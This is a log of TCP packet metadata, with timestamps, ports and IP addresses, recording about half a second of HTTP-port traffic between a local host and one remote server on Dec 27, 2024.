Dec 27, 2024 08:50:49.361337900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.361339092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.361351013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.361386061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.361466885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.362005949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.362051010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.362054110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.362065077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.362091064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.362109900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.362783909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.362837076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.362838984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.362858057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.362893105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.362917900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.363569975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.363626957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.363629103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.363646030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.363693953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.363703966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.364353895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.364392996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.364403963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.364404917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.364440918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.364468098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.365156889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.365205050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.365211010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.365219116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.365261078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.365262032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.365906000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.365953922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.365972996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.365984917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.366022110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.366063118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.366796017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.366807938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.366817951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.366832972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.366847992 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.366874933 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.367501974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.367552042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.367577076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.367588997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.367629051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.367681980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.368310928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.368346930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.368357897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.368359089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.368396044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.368421078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.369064093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.369116068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.369116068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.369132996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.369172096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.369254112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.369868994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.369916916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.410029888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.410049915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.410063028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.410092115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.410141945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.410145044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.410157919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.410162926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.410188913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.410232067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.410821915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.410854101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.552270889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.552294016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.552306890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.552395105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.552474022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.552558899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.552573919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.552622080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.552633047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.552655935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.552673101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.552695036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.553168058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.553206921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.553216934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.553246021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.553302050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.553338051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.554014921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.554028034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.554038048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.554070950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.554116011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.554164886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.554800987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.554862022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.554873943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.554898024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.554913998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.554934025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.555516005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.555567980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.555578947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.555613041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.555696964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.555736065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.556312084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.556339979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.556351900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.556382895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.556495905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.556533098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.557173014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.557224989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.557236910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.557265043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.557324886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.557364941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.557883978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.557945013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.557956934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.557984114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.558008909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.558044910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.558669090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.558713913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.558725119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.558753967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.558825970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.558864117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.559462070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.559498072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.559509993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.559537888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.559576035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.559611082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.560271978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.560307980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.560319901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.560352087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.560394049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.560432911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.561033010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.561074972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.561086893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.561141968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.561172009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.561213970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.561881065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.561892986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.561903954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.561949968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.561960936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.562004089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.562654018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.562666893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.562678099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.562704086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.562752962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.562807083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.563466072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.563478947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.563491106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.563524008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.563602924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.563653946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.564178944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.564246893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.564260960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.564289093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.564332008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.564367056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.565012932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.565057039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.565068007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.565097094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.565217018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.565254927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.565779924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.565833092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.565845966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.565871954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.565922976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.565959930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.566617012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.566698074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.566709042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.566735983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.566737890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.566775084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.567466021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.567480087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.567491055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.567503929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.567528963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.567543030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.568198919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.568209887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.568222046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.568272114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.568296909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.568331957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.568934917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.568959951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.568970919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.569031954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.569077015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.569137096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.569749117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.569804907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.569817066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.569847107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.569871902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.569909096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.570564985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.570642948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.570653915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.570683956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.570723057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.570764065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.571264029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.611371994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.611418962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.611429930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.611485004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.611510038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.611543894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.611706972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.611752033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.611794949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.611807108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.611836910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.753725052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.753743887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.753757954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.753809929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.753879070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.753911018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.753931999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.753931999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.753978014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.753994942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.754632950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.754664898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.754678965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.754699945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.754750967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.754774094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.755428076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.755462885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.755477905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.755496979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.755561113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.755989075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.756042004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.756058931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.756089926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.756128073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.756174088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.756768942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.756817102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.756830931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.756854057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.756942034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.757008076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.757567883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.757606983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.757621050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.757680893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.757690907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.757751942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.758388042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.758413076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.758426905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.758471012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.758487940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.758532047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.759145021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.759197950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.759212017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.759284019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.759304047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.759340048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.759953022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.760011911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.760025024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.760071993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.760097980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.760149956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.760701895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.760765076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.760777950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.760824919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.760916948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.760977030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.761496067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.761552095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.761565924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.761631012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.761631966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.761703014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.762279987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.762345076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.762375116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.762407064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.762440920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.762489080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.763091087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.763134003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.763148069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.763197899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.763226032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.763266087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.763887882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.763909101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.763923883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.763971090 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.764041901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.764137030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.764641047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.764700890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.764714003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.764734983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.764813900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.764884949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.765439034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.765482903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.765496969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.765536070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:49.765578032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:49.765943050 CET	49752	80	192.168.2.6	185.215.113.16
